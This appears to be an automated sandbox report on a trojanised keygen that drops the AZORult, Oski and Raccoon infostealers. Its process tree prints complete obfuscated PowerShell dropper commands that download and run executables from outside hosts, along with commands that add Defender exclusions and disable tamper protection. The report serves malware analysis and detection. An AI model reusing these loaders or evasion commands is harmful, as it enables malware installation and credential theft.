azorult | 3a27b002eab25417e6ef4cdeb35edd40755a0a20f6c701842f10bfa9448e5c89

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
125s
max time network
167s
platform
windows10_x64
resource
win10v200722
submitted
02-10-2020 21:14

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (8) — копия.exe

Score

10^/10

azorult oski raccoon discovery evasion infostealer ransomware spyware stealer trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Extracted

Path

C:\Users\Admin\AppData\LocalLow\machineinfo.txt

Family

raccoon

Ransom Note

[Raccoon Stealer] - v1.5.13-af-hotfix Release Build compiled on Mon Jul 6 14:33:02 2020 Launched at: 2020.10.02 - 23:40:29 GMT Bot_ID: 18823CA4-5761-4226-8787-CF36135F1C68_Admin Running on a desktop =R=A=C=C=O=O=N= - Cookies: 0 - Passwords: 5 - Files: 0 System Information: - System Language: English - System TimeZone: -0 hrs - IP: 154.61.71.13 - Location: 37.750999, -97.821999 | ?, ?, United States (?) - ComputerName: LZUKLIOU - Username: Admin - Windows version: NT 10.0 - Product name: Windows 10 Pro - System arch: x64 - CPU: Persocon Processor 2.5+ (2 cores) - RAM: 4095 MB (748 MB used) - Screen resolution: 1280x720 - Display devices: 0) Microsoft Basic Display Adapter ============

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult

Contains code to disable Windows Defender 4 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

Processes:

resource	yara_rule
behavioral288/memory/4268-311-0x000000000B070000-0x000000000B075000-memory.dmp	disable_win_def
behavioral288/memory/4408-321-0x000000000AE40000-0x000000000AE43000-memory.dmp	disable_win_def
C:\Windows\Temp\55tj5whq.exe	disable_win_def
C:\Windows\temp\55tj5whq.exe	disable_win_def

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
Oski
Oski is an infostealer targeting browser data, crypto wallets.
infostealer oski
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
Raccoon log file 1 IoCs
Detects a log file produced by the Raccoon Stealer.

Processes:

yara_rule

raccoon_log_file
Blocklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

16 1584 powershell.exe
17 2216 powershell.exe
18 2220 powershell.exe
21 1584 powershell.exe
22 2216 powershell.exe
24 2220 powershell.exe
Downloads MZ/PE file

yara_rule
raccoon_log_file

flow	pid	process
16	1584	powershell.exe
17	2216	powershell.exe
18	2220	powershell.exe
21	1584	powershell.exe
22	2216	powershell.exe
24	2220	powershell.exe

Executes dropped EXE 24 IoCs

Processes:

Keygen.exegrk.exeask.exeyog.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exegrk.exeFVjhgtresfdbv.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeNHtrdsaghfDF.exeyog.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exeask.exehgfnmbasdo.exehgfnmbasdo.exeaxcsdfa.exeaxcsdfa.exedMg7lEEGB7.exeBDpxIWiC2Y.exe8vXv4OxADw.exeI1Bd8Fy34y.exe55tj5whq.exe

pid	process
728	Keygen.exe
4140	grk.exe
1240	ask.exe
4164	yog.exe
4584	FVjhgtresfdbv.exe
4184	NHtrdsaghfDF.exe
4556	grk.exe
4692	FVjhgtresfdbv.exe
4640	FVjhgtresfdbv.exe
4708	NHtrdsaghfDF.exe
4676	NHtrdsaghfDF.exe
4820	yog.exe
4908	NHtrdsaghfDF.exe
4892	FVjhgtresfdbv.exe
4980	ask.exe
3840	hgfnmbasdo.exe
3136	hgfnmbasdo.exe
2708	axcsdfa.exe
4216	axcsdfa.exe
3068	dMg7lEEGB7.exe
2084	BDpxIWiC2Y.exe
4268	8vXv4OxADw.exe
4408	I1Bd8Fy34y.exe
2512	55tj5whq.exe

Loads dropped DLL 15 IoCs

Processes:

FVjhgtresfdbv.exeFVjhgtresfdbv.exehgfnmbasdo.exegrk.exe

pid	process
4892	FVjhgtresfdbv.exe
4640	FVjhgtresfdbv.exe
4892	FVjhgtresfdbv.exe
4640	FVjhgtresfdbv.exe
4892	FVjhgtresfdbv.exe
4640	FVjhgtresfdbv.exe
3136	hgfnmbasdo.exe
3136	hgfnmbasdo.exe
3136	hgfnmbasdo.exe
4556	grk.exe
4556	grk.exe
4556	grk.exe
4556	grk.exe
4556	grk.exe
4556	grk.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

I1Bd8Fy34y.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	I1Bd8Fy34y.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	I1Bd8Fy34y.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Drops desktop.ini file(s) 1 IoCs

Processes:

grk.exe

description ioc process

File created C:\Users\Admin\AppData\LocalLow\cr6im03b56g32r\desktop.ini grk.exe

description	ioc	process
File created	C:\Users\Admin\AppData\LocalLow\cr6im03b56g32r\desktop.ini	grk.exe

Suspicious use of SetThreadContext 9 IoCs

Processes:

grk.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeyog.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exeask.exehgfnmbasdo.exeaxcsdfa.exe

description	pid	process	target process
PID 4140 set thread context of 4556	4140	grk.exe	grk.exe
PID 4584 set thread context of 4640	4584	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 4184 set thread context of 4676	4184	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 4164 set thread context of 4820	4164	yog.exe	yog.exe
PID 4708 set thread context of 4908	4708	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 4692 set thread context of 4892	4692	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 1240 set thread context of 4980	1240	ask.exe	ask.exe
PID 3840 set thread context of 3136	3840	hgfnmbasdo.exe	hgfnmbasdo.exe
PID 2708 set thread context of 4216	2708	axcsdfa.exe	axcsdfa.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

hgfnmbasdo.exeFVjhgtresfdbv.exeFVjhgtresfdbv.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	hgfnmbasdo.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FVjhgtresfdbv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FVjhgtresfdbv.exe

Delays execution with timeout.exe 3 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exe

pid process

3472 timeout.exe
4364 timeout.exe
3928 timeout.exe
Kills process with taskkill 4 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid process

4356 taskkill.exe
4832 taskkill.exe
3896 taskkill.exe
3544 taskkill.exe

pid	process
3472	timeout.exe
4364	timeout.exe
3928	timeout.exe

pid	process
4356	taskkill.exe
4832	taskkill.exe
3896	taskkill.exe
3544	taskkill.exe

Modifies registry class 3 IoCs

Processes:

cmd.exeask.exehgfnmbasdo.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000_Classes\Local Settings	ask.exe
Key created	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000_Classes\Local Settings	hgfnmbasdo.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe8vXv4OxADw.exe

pid	process
2072	powershell.exe
2072	powershell.exe
1584	powershell.exe
1584	powershell.exe
1352	powershell.exe
1352	powershell.exe
2160	powershell.exe
2220	powershell.exe
2220	powershell.exe
2160	powershell.exe
2216	powershell.exe
2216	powershell.exe
2220	powershell.exe
2216	powershell.exe
1352	powershell.exe
1584	powershell.exe
2072	powershell.exe
2160	powershell.exe
1352	powershell.exe
2220	powershell.exe
1584	powershell.exe
2216	powershell.exe
2072	powershell.exe
2160	powershell.exe
4268	8vXv4OxADw.exe
4268	8vXv4OxADw.exe
4268	8vXv4OxADw.exe
4268	8vXv4OxADw.exe
4268	8vXv4OxADw.exe
4268	8vXv4OxADw.exe
4268	8vXv4OxADw.exe
4268	8vXv4OxADw.exe
4268	8vXv4OxADw.exe
4268	8vXv4OxADw.exe
4268	8vXv4OxADw.exe
4268	8vXv4OxADw.exe
4268	8vXv4OxADw.exe
4268	8vXv4OxADw.exe
4268	8vXv4OxADw.exe
4268	8vXv4OxADw.exe
4268	8vXv4OxADw.exe
4268	8vXv4OxADw.exe
4268	8vXv4OxADw.exe
4268	8vXv4OxADw.exe
4268	8vXv4OxADw.exe
4268	8vXv4OxADw.exe
4268	8vXv4OxADw.exe
4268	8vXv4OxADw.exe
4268	8vXv4OxADw.exe
4268	8vXv4OxADw.exe
4268	8vXv4OxADw.exe
4268	8vXv4OxADw.exe
4268	8vXv4OxADw.exe
4268	8vXv4OxADw.exe
4268	8vXv4OxADw.exe
4268	8vXv4OxADw.exe
4268	8vXv4OxADw.exe
4268	8vXv4OxADw.exe
4268	8vXv4OxADw.exe
4268	8vXv4OxADw.exe
4268	8vXv4OxADw.exe
4268	8vXv4OxADw.exe
4268	8vXv4OxADw.exe
4268	8vXv4OxADw.exe

Suspicious behavior: MapViewOfSection 6 IoCs

Processes:

grk.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeyog.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exe

pid process

4140 grk.exe
4584 FVjhgtresfdbv.exe
4184 NHtrdsaghfDF.exe
4164 yog.exe
4708 NHtrdsaghfDF.exe
4692 FVjhgtresfdbv.exe

pid	process
4140	grk.exe
4584	FVjhgtresfdbv.exe
4184	NHtrdsaghfDF.exe
4164	yog.exe
4708	NHtrdsaghfDF.exe
4692	FVjhgtresfdbv.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeask.exetaskkill.exetaskkill.exehgfnmbasdo.exetaskkill.exeaxcsdfa.exe8vXv4OxADw.exeI1Bd8Fy34y.exepowershell.exetaskkill.exepowershell.exedMg7lEEGB7.exePowershell.exe

description	pid	process
Token: SeDebugPrivilege	2160	powershell.exe
Token: SeDebugPrivilege	1584	powershell.exe
Token: SeDebugPrivilege	2216	powershell.exe
Token: SeDebugPrivilege	2072	powershell.exe
Token: SeDebugPrivilege	2220	powershell.exe
Token: SeDebugPrivilege	1352	powershell.exe
Token: SeDebugPrivilege	1240	ask.exe
Token: SeDebugPrivilege	4356	taskkill.exe
Token: SeDebugPrivilege	3544	taskkill.exe
Token: SeDebugPrivilege	3840	hgfnmbasdo.exe
Token: SeDebugPrivilege	4832	taskkill.exe
Token: SeDebugPrivilege	2708	axcsdfa.exe
Token: SeDebugPrivilege	4268	8vXv4OxADw.exe
Token: SeDebugPrivilege	4408	I1Bd8Fy34y.exe
Token: SeDebugPrivilege	3392	powershell.exe
Token: SeDebugPrivilege	3896	taskkill.exe
Token: SeDebugPrivilege	4772	powershell.exe
Token: SeDebugPrivilege	3068	dMg7lEEGB7.exe
Token: SeDebugPrivilege	3460	Powershell.exe

Suspicious use of SetWindowsHookEx 9 IoCs

Processes:

Keygen.exegrk.exeyog.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe8vXv4OxADw.exe

pid	process
728	Keygen.exe
4140	grk.exe
4164	yog.exe
4584	FVjhgtresfdbv.exe
4184	NHtrdsaghfDF.exe
4692	FVjhgtresfdbv.exe
4708	NHtrdsaghfDF.exe
4268	8vXv4OxADw.exe
4268	8vXv4OxADw.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Keygen — копия (8) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exepowershell.exepowershell.exepowershell.exegrk.exe

description	pid	process	target process
PID 2080 wrote to memory of 3988	2080	Keygen — копия (8) — копия.exe	cmd.exe
PID 2080 wrote to memory of 3988	2080	Keygen — копия (8) — копия.exe	cmd.exe
PID 2080 wrote to memory of 3988	2080	Keygen — копия (8) — копия.exe	cmd.exe
PID 3988 wrote to memory of 728	3988	cmd.exe	Keygen.exe
PID 3988 wrote to memory of 728	3988	cmd.exe	Keygen.exe
PID 3988 wrote to memory of 728	3988	cmd.exe	Keygen.exe
PID 3988 wrote to memory of 4024	3988	cmd.exe	mshta.exe
PID 3988 wrote to memory of 4024	3988	cmd.exe	mshta.exe
PID 3988 wrote to memory of 4024	3988	cmd.exe	mshta.exe
PID 3988 wrote to memory of 3276	3988	cmd.exe	mshta.exe
PID 3988 wrote to memory of 3276	3988	cmd.exe	mshta.exe
PID 3988 wrote to memory of 3276	3988	cmd.exe	mshta.exe
PID 3988 wrote to memory of 3928	3988	cmd.exe	timeout.exe
PID 3988 wrote to memory of 3928	3988	cmd.exe	timeout.exe
PID 3988 wrote to memory of 3928	3988	cmd.exe	timeout.exe
PID 3988 wrote to memory of 2540	3988	cmd.exe	mshta.exe
PID 3988 wrote to memory of 2540	3988	cmd.exe	mshta.exe
PID 3988 wrote to memory of 2540	3988	cmd.exe	mshta.exe
PID 3988 wrote to memory of 192	3988	cmd.exe	mshta.exe
PID 3988 wrote to memory of 192	3988	cmd.exe	mshta.exe
PID 3988 wrote to memory of 192	3988	cmd.exe	mshta.exe
PID 3988 wrote to memory of 3472	3988	cmd.exe	timeout.exe
PID 3988 wrote to memory of 3472	3988	cmd.exe	timeout.exe
PID 3988 wrote to memory of 3472	3988	cmd.exe	timeout.exe
PID 4024 wrote to memory of 2220	4024	mshta.exe	powershell.exe
PID 4024 wrote to memory of 2220	4024	mshta.exe	powershell.exe
PID 4024 wrote to memory of 2220	4024	mshta.exe	powershell.exe
PID 192 wrote to memory of 1352	192	mshta.exe	powershell.exe
PID 192 wrote to memory of 1352	192	mshta.exe	powershell.exe
PID 192 wrote to memory of 1352	192	mshta.exe	powershell.exe
PID 2540 wrote to memory of 2216	2540	mshta.exe	powershell.exe
PID 2540 wrote to memory of 2216	2540	mshta.exe	powershell.exe
PID 2540 wrote to memory of 2216	2540	mshta.exe	powershell.exe
PID 3276 wrote to memory of 2072	3276	mshta.exe	powershell.exe
PID 3276 wrote to memory of 2072	3276	mshta.exe	powershell.exe
PID 3276 wrote to memory of 2072	3276	mshta.exe	powershell.exe
PID 3988 wrote to memory of 3032	3988	cmd.exe	mshta.exe
PID 3988 wrote to memory of 3032	3988	cmd.exe	mshta.exe
PID 3988 wrote to memory of 3032	3988	cmd.exe	mshta.exe
PID 3988 wrote to memory of 3128	3988	cmd.exe	mshta.exe
PID 3988 wrote to memory of 3128	3988	cmd.exe	mshta.exe
PID 3988 wrote to memory of 3128	3988	cmd.exe	mshta.exe
PID 3032 wrote to memory of 1584	3032	mshta.exe	powershell.exe
PID 3032 wrote to memory of 1584	3032	mshta.exe	powershell.exe
PID 3032 wrote to memory of 1584	3032	mshta.exe	powershell.exe
PID 3128 wrote to memory of 2160	3128	mshta.exe	powershell.exe
PID 3128 wrote to memory of 2160	3128	mshta.exe	powershell.exe
PID 3128 wrote to memory of 2160	3128	mshta.exe	powershell.exe
PID 2220 wrote to memory of 4140	2220	powershell.exe	grk.exe
PID 2220 wrote to memory of 4140	2220	powershell.exe	grk.exe
PID 2220 wrote to memory of 4140	2220	powershell.exe	grk.exe
PID 2216 wrote to memory of 1240	2216	powershell.exe	ask.exe
PID 2216 wrote to memory of 1240	2216	powershell.exe	ask.exe
PID 2216 wrote to memory of 1240	2216	powershell.exe	ask.exe
PID 1584 wrote to memory of 4164	1584	powershell.exe	yog.exe
PID 1584 wrote to memory of 4164	1584	powershell.exe	yog.exe
PID 1584 wrote to memory of 4164	1584	powershell.exe	yog.exe
PID 4140 wrote to memory of 4584	4140	grk.exe	FVjhgtresfdbv.exe
PID 4140 wrote to memory of 4584	4140	grk.exe	FVjhgtresfdbv.exe
PID 4140 wrote to memory of 4584	4140	grk.exe	FVjhgtresfdbv.exe
PID 4140 wrote to memory of 4184	4140	grk.exe	NHtrdsaghfDF.exe
PID 4140 wrote to memory of 4184	4140	grk.exe	NHtrdsaghfDF.exe
PID 4140 wrote to memory of 4184	4140	grk.exe	NHtrdsaghfDF.exe
PID 4140 wrote to memory of 4556	4140	grk.exe	grk.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (8) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (8) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2080

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\D46C.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (8) — ?????.exe""
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3988

C:\Users\Admin\AppData\Local\Temp\D46C.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:728

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\D46C.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4024

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2220

C:\Users\Public\grk.exe
"C:\Users\Public\grk.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4140

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4584

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4640

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /pid 4640 & erase C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe & RD /S /Q C:\\ProgramData\\311431001549774\\* & exit
8⤵
PID:4148

C:\Windows\SysWOW64\taskkill.exe
taskkill /pid 4640
9⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3544

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4184

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:4676

C:\Users\Public\grk.exe
"C:\Users\Public\grk.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops desktop.ini file(s)
PID:4556

C:\Users\Admin\AppData\Local\Temp\dMg7lEEGB7.exe
"C:\Users\Admin\AppData\Local\Temp\dMg7lEEGB7.exe"
7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3068

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
"Powershell" Add-MpPreference -ExclusionPath '"C:\Users\Admin\AppData\Local\Temp\dMg7lEEGB7.exe"'
8⤵
- Suspicious use of AdjustPrivilegeToken
PID:3460

C:\Users\Admin\AppData\Local\Temp\BDpxIWiC2Y.exe
"C:\Users\Admin\AppData\Local\Temp\BDpxIWiC2Y.exe"
7⤵
- Executes dropped EXE
PID:2084

C:\Users\Admin\AppData\Local\Temp\8vXv4OxADw.exe
"C:\Users\Admin\AppData\Local\Temp\8vXv4OxADw.exe"
7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4268

\??\c:\windows\SysWOW64\cmstp.exe
"c:\windows\system32\cmstp.exe" /au C:\Windows\temp\o3ef1eiq.inf
8⤵
PID:2824

C:\Users\Admin\AppData\Local\Temp\I1Bd8Fy34y.exe
"C:\Users\Admin\AppData\Local\Temp\I1Bd8Fy34y.exe"
7⤵
- Executes dropped EXE
- Windows security modification
- Suspicious use of AdjustPrivilegeToken
PID:4408

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell" Get-MpPreference -verbose
8⤵
- Suspicious use of AdjustPrivilegeToken
PID:3392

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Public\grk.exe"
7⤵
PID:4236

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
8⤵
- Delays execution with timeout.exe
PID:4364

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\D46C.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3276

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2072

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:3928

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\D46C.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2540

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
